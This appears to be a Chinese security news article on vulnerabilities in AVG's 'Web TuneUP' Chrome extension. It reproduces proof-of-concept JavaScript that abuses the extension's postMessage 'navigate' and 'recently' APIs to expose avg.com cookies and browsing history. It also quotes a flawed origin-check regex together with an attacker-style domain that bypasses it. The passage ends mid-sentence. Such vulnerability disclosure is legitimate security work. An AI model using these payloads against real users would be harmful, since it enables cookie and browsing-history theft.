谷歌瀏覽器插件曝多個高危漏洞,影響900萬用戶
這個插件添加了很多的api用來操作谷歌瀏覽器,比如可以輕易的劫持搜索框和新標(biāo)簽頁。而由于其安裝過程十分復(fù)雜,所以能夠逃避谷歌惡意軟件的檢查,特別是能夠逃避谷歌瀏覽器“阻止濫用擴(kuò)展的API”的檢查。
事實(shí)上其中的很多api是有問題的,攻擊者可以通過構(gòu)造payload成功盜取用戶在avg.com上的cookie,還可以獲取用戶的瀏覽記錄以及其他的私人數(shù)據(jù),甚至有可能成功實(shí)施任意命令執(zhí)行。
攻擊手法
Tavis在給廠商的郵件中列舉了幾種攻擊手法:"navigate" API 將會導(dǎo)致一個通用的跨域xss漏洞,attacker.com可以跨域讀取訪問者的mail.google.com的郵件或者是來自于其他網(wǎng)站的數(shù)據(jù)。
- <script>
- for (i = 0; i < 256; i++) {
- window.postMessage({ origin: "web", action: "navigate", data: {
- url: "javascript:document.location.hostname.endsWith('.avg.com')"
- + "?"
- + "alert(document.domain + ':' +document.cookie)"
- + ":"
- + "false",
- tabID: i
- }}, "*");
- }
- </script>
以上代碼為Tavis給的poc
通過 window.postMessage(允許跨域通信的javascript api) 不間斷的向 AVG: "Web TuneUP”插件發(fā)起請求,請求的數(shù)據(jù)為:
- { origin: "web", action: "navigate", data: {url:"javascript:document.location.hostname.endsWith('.avg.com')"+ "?"+ "alert(document.domain + ':' +document.cookie)"+ ":"+ "false",tabID: i}}
當(dāng)用戶的標(biāo)簽頁在訪問avg.com網(wǎng)站時,將爆破以.avg.com結(jié)尾的網(wǎng)站的當(dāng)前域名和cookie值。"recently" api將會泄露當(dāng)前用戶的瀏覽記錄
- <script>
- window.addEventListener("message", receiveMessage, false);
- window.postMessage({ from: "web", to: "content", method: "recently" }, "*")
- function receiveMessage(event)
- {
- if (event.data != undefined && event.data.historyItems != undefined) {
- var obj = JSON.parse(event.data.historyItems);
- document.write("Here is a list of websites you've been visiting");
- document.write("<br>");
- for (i in obj) {
- var d = new Date(obj[i]);
- document.write("<a href=" + i + ">" + i + "</a> on " + d);
- document.write("<br>");
- }
- }
- }
- </script>
以上代碼為Tavis給的poc
通過window.postMessage向插件的"recently"API發(fā)起請求獲取當(dāng)前用戶的瀏覽記錄,本地監(jiān)聽事件來獲取返回的數(shù)據(jù),然后輸出數(shù)據(jù)。
隨后廠商對此進(jìn)行了修復(fù),但是由于修復(fù)的不對,又被Tavis繞過了。修復(fù)的代碼中增加了判斷
- var match = event.origin.match(/https?:\/\/.*\.avg\.com/i);
- if (match ! null {
- ...
- }
判斷來源是不是包含".avg.com",但是這個很容易被繞過。比如https://www.avg.com.www.attacker.com這個域名就能繞過這個限定,繼續(xù)實(shí)施上面提到的兩個攻擊。又會因?yàn)樯厦娴膶f(xié)議的判斷是既支持http又支持https,于是又產(chǎn)生了“中間人攻擊”這個問題。
廠商對此又進(jìn)行了修復(fù),這次限制了域名必須為"mysearch.avg.com"和"webtuneup.avg.com" 。但通過下面這個xss,他又可以對用戶數(shù)據(jù)進(jìn)行竊?。?/p>